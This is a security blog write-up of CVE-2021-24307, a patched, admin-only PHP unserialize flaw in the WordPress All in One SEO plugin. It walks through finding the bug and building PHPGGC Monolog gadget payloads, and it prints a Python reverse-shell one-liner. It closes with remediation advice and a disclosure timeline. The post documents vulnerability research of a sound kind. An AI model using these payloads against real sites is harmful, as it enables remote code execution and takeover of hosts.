@darkpills cybersecurity blog

Sharing knowledge and experiments on cyber security topics.

PHP unserialize write-up with Admin RCE in All in one SEO pack (CVE-2021-24307)

This article provides a detailed walkthrough and tips on how to exploit PHP unserialize vulnerability. It is based on a real world case: Wordpress plugin All in one SEO pack <=

It enables authenticated users with “aioseo_tools_settings” privilege (most of the time admin) to execute arbitrary code on the underlying host. Users can restore plugin’s configuration by uploading a backup .ini file. However, the plugin attempts to unserialize values of the .ini file. Moreover, the plugin embeds Monolog library which can be used to craft a gadget chain and thus trigger system command execution.

As exploitation requires high privileges, the main threat scenario concerns attackers willing to compromise system host on mutualized wordpress platform where plugin installation has been denied by security hardening by hosting provider (DISALLOW_FILE_MODS=true in config). So clearly, the attack scenario is really not obvious but will serve as a tutorial for unserialization exploits.


Wordpress is one of the most popular opensource content management system (CMS). It is used by 41% of websites in the world thanks to a rich plugin library.

All in one SEO pack (AIOSEO) is a Wordpress plugin deployed by 3,000,000 professionals to optimize the website search engine rankings. It is considered as one of the best Wordpress plugin in its field.

The plugin implements a settings import/export feature to enable administrators to quickly backup and recover a configuration. This feature is accessible from the backoffice menu: All in One SEO > Tools > Import/Export:

Settings import feature


Hunting for RCE

When hunting vulnerabilities in PHP applications in a whitebox scenario (you have access to the source code), you usually make an automated and manual static source code analysis (Static Application Security Testing = SAST). And when you have no commercial SAST tool and did not find a suited opensource tool, you can use a good old grep to point you the interesting spots. We call it “smells”.

Here is a quick a dirty smell example I use to find potential dangerous PHP functions that may lead to RCE:

find . -name "*.php" -type f | xargs grep --color "exec(\|passthru(\|system(\|shell_exec(\|popen(\|proc_open(\|pcntl_exec(\|unserialize(\|call_user_func(\|call_user_func_array(\|eval(\|assert(\|create_function(\|ReflectionFunction(\|ReflectionMethod("

Applied on AIOSEO, we get the following results:

└─$ find . -name "*.php" -type f | xargs grep --color "exec(\|passthru(\|system(\|shell_exec(\|popen(\|proc_open(\|pcntl_exec(\|unserialize(\|call_user_func(\|call_user_func_array(\|eval(\|assert(\|create_function(\|ReflectionFunction(\|ReflectionMethod("
./vendor/woocommerce/action-scheduler/classes/ActionScheduler_wcSystemStatus.php:				return call_user_func_array( array( $this, 'render' ), $arguments );
./vendor/woocommerce/action-scheduler/classes/ActionScheduler_Versions.php:		call_user_func($self->latest_version_callback());
./vendor/woocommerce/action-scheduler/classes/ActionScheduler_DataController.php:			call_user_func( array( $wp_object_cache, '__remoteset' ) ); // important
./vendor/woocommerce/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:		$schedule = unserialize( $data->schedule );
./vendor/composer/autoload_real.php:            call_user_func(\Composer\Autoload\ComposerStaticInit8da020bae8a137b78b55e6689f08f7d0::getInitializer($loader));
./vendor/composer/ClassLoader.php:            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
./vendor_prefixed/monolog/monolog/src/Monolog/ErrorHandler.php:            \call_user_func($this->previousExceptionHandler, $e);
./vendor_prefixed/monolog/monolog/src/Monolog/ErrorHandler.php:            return \call_user_func($this->previousErrorHandler, $code, $message, $file, $line, $context);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/BufferHandler.php:                $record = \call_user_func($processor, $record);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/MandrillHandler.php:            $message = \call_user_func($message);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php:                $record = \call_user_func($processor, $record);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/SamplingHandler.php:                    $record = \call_user_func($processor, $record);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/SamplingHandler.php:            $this->handler = \call_user_func($this->handler, $record, $this);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/TestHandler.php:            if (\call_user_func($predicate, $rec, $i)) {
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/TestHandler.php:                return \call_user_func_array(array($this, $genericMethod), $args);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php:                $record = \call_user_func($processor, $record);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php:            $this->handler = \call_user_func($this->handler, $record, $this);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/SwiftMailerHandler.php:            $message = \call_user_func($this->messageTemplate, $content, $records);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/GroupHandler.php:                $record = \call_user_func($processor, $record);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/GroupHandler.php:                    $record = \call_user_func($processor, $record);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/Curl/Util.php:            if (\curl_exec($ch) === \false) {
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/WhatFailureGroupHandler.php:                $record = \call_user_func($processor, $record);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/WhatFailureGroupHandler.php:                    $record = \call_user_func($processor, $record);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/RedisHandler.php:            $this->redisClient->multi($mode)->rpush($this->redisKey, $record["formatted"])->ltrim($this->redisKey, -$this->capSize, -1)->exec();
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/FilterHandler.php:                $record = \call_user_func($processor, $record);
./vendor_prefixed/monolog/monolog/src/Monolog/Handler/FilterHandler.php:            $this->handler = \call_user_func($this->handler, $record, $this);
./vendor_prefixed/monolog/monolog/src/Monolog/Logger.php:                $record = \call_user_func($processor, $record);
./vendor_prefixed/monolog/monolog/src/Monolog/Logger.php:        \call_user_func($this->exceptionHandler, $e, $record);
./vendor_prefixed/psr/log/Psr/Log/Test/TestLogger.php:            if (\call_user_func($predicate, $rec, $i)) {
./vendor_prefixed/psr/log/Psr/Log/Test/TestLogger.php:                return \call_user_func_array([$this, $genericMethod], $args);
./app/Common/ImportExport/RankMath/PostMeta.php:						$value = maybe_unserialize( $value );
./app/Common/ImportExport/RankMath/PostMeta.php:						$value = maybe_unserialize( $value );
./app/Common/ImportExport/ImportExport.php:		$value = maybe_unserialize( $value );
./app/Common/Utils/Helpers.php:		WP_Filesystem( $args );
./app/Common/Migration/Meta.php:		$ogMeta = maybe_unserialize( $ogMeta );
./app/Common/Migration/SocialMeta.php:		$ogMeta = maybe_unserialize( $ogMeta );
./app/Common/Migration/SocialMeta.php:		$ogMeta = maybe_unserialize( $ogMeta );

By filtering vendor’s results, I chose to focus on the remaining results, and especially this one which seems promising:

./app/Common/ImportExport/ImportExport.php:		$value = maybe_unserialize( $value );

Vulnerability analysis

This class handles import/export of plugin’s settings as described earlier. The Wordpress core API function maybe_unserialize() is called. It basically wraps PHP native unserialize() to determine if input string is PHP serialized data format and try to unserialize it.

To know if there is a RCE, we must check if there is a injection point and data path until $value = maybe_unserialize( $value );. Uploaded file content arrives in input of AIOSEO\Plugin\Common\ImportExport\ImportExport::importIniData($contents) method:

public function importIniData( $contents ) {
	$lines = array_filter( preg_split( '/\r\n|\r|\n/', $contents ) );

	$sections     = [];
	$sectionLabel = '';
	$sectionCount = 0;

	foreach ( $lines as $lineNumber => $line ) {
		$line = trim( $line );
		// Ignore comments.
		if ( preg_match( '#^;.*#', $line ) || preg_match( '#\<(\?php|script)#', $line ) ) {

		$matches = [];
		if ( preg_match( '#^\[(\S+)\]$#', $line, $label ) ) {
			$sectionLabel = strval( $label[1] );
			if ( 'post_data' === $sectionLabel ) {
			if ( ! isset( $sections[ $sectionLabel ] ) ) {
				$sections[ $sectionLabel ] = [];
		} elseif ( preg_match( "#^(\S+)\s*=\s*'(.*)'$#", $line, $matches ) ) {
			if ( 'post_data' === $sectionLabel ) {
				$sections[ $sectionLabel ][ $sectionCount ][ $matches[1] ] = $matches[2];
			} else {
				$sections[ $sectionLabel ][ $matches[1] ] = $matches[2];
		} elseif ( preg_match( '#^(\S+)\s*=\s*NULL$#', $line, $matches ) ) {
			if ( 'post_data' === $sectionLabel ) {
				$sections[ $sectionLabel ][ $sectionCount ][ $matches[1] ] = '';
			} else {
				$sections[ $sectionLabel ][ $matches[1] ] = '';
		} else {

	$sanitizedSections = [];
	foreach ( $sections as $section => $options ) {
		$sanitizedSection = [];
		foreach ( $options as $option => $value ) {
			$sanitizedSection[ $option ] = $this->convertAndSanitize( $value );
		$sanitizedSections[ $section ] = $sanitizedSection;

	$oldOptions = [];
	$postData   = [];
	foreach ( $sanitizedSections as $label => $data ) {
		switch ( $label ) {
			case 'aioseop_options':
				$oldOptions = array_merge( $oldOptions, $data );
			case 'aiosp_feature_manager_options':
			case 'aiosp_opengraph_options':
			case 'aiosp_sitemap_options':
			case 'aiosp_video_sitemap_options':
			case 'aiosp_schema_local_business_options':
			case 'aiosp_image_seo_options':
			case 'aiosp_robots_options':
			case 'aiosp_bad_robots_options':
				$oldOptions['modules'][ $label ] = $data;
			case 'post_data':
				$postData = $data;

	if ( ! empty( $oldOptions ) ) {
		aioseo()->migration->migrateSettings( $oldOptions );

	if ( ! empty( $postData ) ) {
		$this->importOldPostMeta( $postData );
	return true;

It basically parses ini file sections and creates an associative array with the secion labels. It calls convertAndSanitize() (method with an interesting name) before importing the settings:

private function convertAndSanitize( $value ) {
	$value = maybe_unserialize( $value );

	switch ( gettype( $value ) ) {
		case 'boolean':
			return (bool) $value;
		case 'string':
			return esc_html( wp_strip_all_tags( wp_check_invalid_utf8( trim( $value ) ) ) );
		case 'integer':
			return intval( $value );
		case 'double':
			return floatval( $value );
		case 'array':
			$sanitized = [];
			foreach ( (array) $value as $k => $v ) {
				$sanitized[ $k ] = $this->convertAndSanitize( $v );
			return $sanitized;
			return '';

Before any processing, the method tries to unserialize the content at the first line. So if we manage to input a ini file with serialized content, we might get a RCE. Ini file content would look like this:

[Test section]

Note that simple quotes are essential around the value to pass the ini value regex. I launched Burp and got a first template request to replay later on:

Test import ini

How unserialization vulnerability works?

Unserialization exploits, and especially PHP unserializations, have already been covered by a lot of articles. This post does not cover it again. I encourage you to read the following to get a proper understanding before continuing:

In a nutshell, it abuses magic functions automatically called by PHP engine, like __construct(), __destruct(), __serialize(), __unserialize()

Finding the gadget chain

However, to go from an unserialized value to a RCE, we need a gadget chain that will make a series of sequence of PHP call until it calls an arbitrary function. PHPGGC project references famous PHP gadgets and automates the task of creating serialized payloads.

Wordpress core do not have such chain by default. By digging in the plugin’s vendors, I found out that Monolog was shipped with it. Monolog is famous PHP logging library:

└─$ ls -1 vendor*


By luck, old versions of Monolog contains several gadget chains. However, I could not find information about the version of Monolog bundled with AIOSEO.

To determine the good gadget among the 7 available in PHPGGC for Monolog, I had to try them:

git clone https://github.com/ambionics/phpggc
cd phpggc
chmod +x phpggc
./phpggc -l

Monolog/RCE1                              1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+    RCE (Function call)    __destruct          
Monolog/RCE2                              1.4.1 <= 2.2.0+                    RCE (Function call)    __destruct          
Monolog/RCE3                              1.1.0 <= 1.10.0                    RCE (Function call)    __destruct          
Monolog/RCE4                              ? <= 2.4.4+                        RCE (Command)          __destruct     *    
Monolog/RCE5                              1.25 <= 2.2.0+                     RCE (Function call)    __destruct          
Monolog/RCE6                              1.10.0 <= 2.2.0+                   RCE (Function call)    __destruct          
Monolog/RCE7                              1.10.0 <= 2.2.0+                   RCE (Function call)    __destruct     *    

I generated a payload with the first chain:

./phpggc Monolog/RCE1 "shell_exec" "id > /tmp/id"

I uploaded a dummy INI file and put the file upload request in the repeater. I replaced the file content with the PHPGGC output… and nothing :(

Test import no encoding

Dealing with null-bytes

I started to manually debug the different calls. I suggest to remove the @ in the maybe_unserialize() function to enable unserialization warnings:

function maybe_unserialize( $data ) {
	if ( is_serialized( $data ) ) { // Don't attempt to unserialize data that wasn't serialized going in.
		return @unserialize( trim( $data ) );

	return $data;

and to enable error display and debug mode of Wordpress in wp-config.php:

define( 'WP_DEBUG', true );
define( 'WP_DEBUG_DISPLAY', true );

I finally got this warning during unserialization:

Unserialize error

Then I realized that the PHPGGC output contained null-bytes, like for instance at byte 0x30:

./phpggc Monolog/RCE1 "shell_exec" "id > /tmp/id" | xxd
00000020: 616e 646c 6572 223a 313a 7b73 3a39 3a22  andler":1:{s:9:"
00000030: 002a 0073 6f63 6b65 7422 3b4f 3a32 393a  .*.socket";O:29:
00000040: 224d 6f6e 6f6c 6f67 5c48 616e 646c 6572  "Monolog\Handler

The presence of those bytes are linked with the PHP serialization format. The website www.phpinternalsbook.com describes here this format. In a nutshell, the reason is:

Private properties are prefixed with \0ClassName\0 and protected properties with \0*\0.

To deal with it, PHPGGC has an option -a which forces the output to encode non-ASCII characters with their hexadecimal representation:

  -a, --ascii-strings
     Uses the 'S' serialization format instead of the standard 's'. This
     replaces every non-ASCII value to an hexadecimal representation:
     s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\00B\09\0D";
     This is experimental and it might not work in some cases.

With this in mind, we can add the option and test our new payload:

./phpggc -a Monolog/RCE1 "shell_exec" "id > /tmp/id"

Notice: due to PHP serialization format, you cannot freely change your payload directly. The format contains the size of each class attribute value. You need to regenerate new payloads with phpgcc every time.

Dealing with a custom namespace

I finally managed to get rid of the unserialize error, but could not start the gadget chain. Then again, by debugging with other serialized class, I realized Monolog was imported under a non-standard namespace which is confirmed by composer.json file and PSR-4 directive:

"autoload": {
    "psr-4": {
        "AIOSEO\\Vendor\\Monolog\\": "src\/Monolog"

This strategy avoids naming conflict with other plugin Monolog imports. However, the gadget template uses Monolog root namepace and not AIOSEO\Vendor\Monolog.

So I created a copy of the gadget:

cp gadgetchains/Monolog/RCE/1 gadgetchains/Monolog/RCE/8

I updated the gadgets with the plugin namespace by prefixing with AIOSEO\Vendor\ in gadgetchains/Monolog/RCE/8/*.php. I regenerated once again a new payload:

./phpggc -a Monolog/RCE8 "shell_exec" "id > /tmp/id"

And managed finally to get it work! I confirmed with a reverse shell:

./phpggc -a Monolog/RCE8 "shell_exec" "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"

RCE Burp

RCE output

A exploit PoC is provided here. It automates the phase of admin login, nonce fetching (needed for the file upload) and INI file upload.

Threat scenario

This vulnerability requires an authenticated attacker with aioseo_tools_settings privileges to be executed, which is mostly the case with admin users. If an attacker manages to compromise an admin account, he could find an easier way to RCE by uploading a custom rogue plugin with extension manager.

However, in some edge cases where Wordpress environment are mutualized among several customers, hosting providers restrict “functional” administrators to install their own plugin. This can be done by setting DISALLOW_FILE_MODS=true in Wordpress config. In this particular case, the current AIOSEO vulnerability could be used to get a RCE.

As you can see, the attack surface is really small and the threat scenario is really not obvious. The main reason for publishing this vulnerability is for the fun of exploiting an unserialize vulnerability from the begining to the end.


The recommendations to remediate are the following. It mostly come from OWASP Unserialization cheat sheet:

  1. If possible, do not use serialization as a format to transmit data over the network from one machine to another. This format is much too powerfull, with too many features. Plain format like JSON or XML should be prefered.

  2. In the current business case, check if the call to $value = maybe_unserialize($value); can be just removed in the convertAndSanitize() method. Ini values with strings, array or integers must be enough to describe the plugin’s settings.

Disclosure timeline

  • 2021-04-19: Vulnerability identification
  • 2021-04-20: Vulnerability reported to the editor
  • 2021-04-28: Release of version which fixes the vulnerability
  • 2021-05-09: CVE number assignment from wpscan and exploit PoC publication


Vincent MICHEL (@darkpills)

I work as a pentester in a cyber security company. This blog aims at sharing my thoughts and experiments on different topics if it can help otheres: web and internal penetration tests, vulnerability research, write-ups, exploit development, security best practices, tooling, and so on... I previously worked as a senior software developer and switched to this wonderfull land of security :)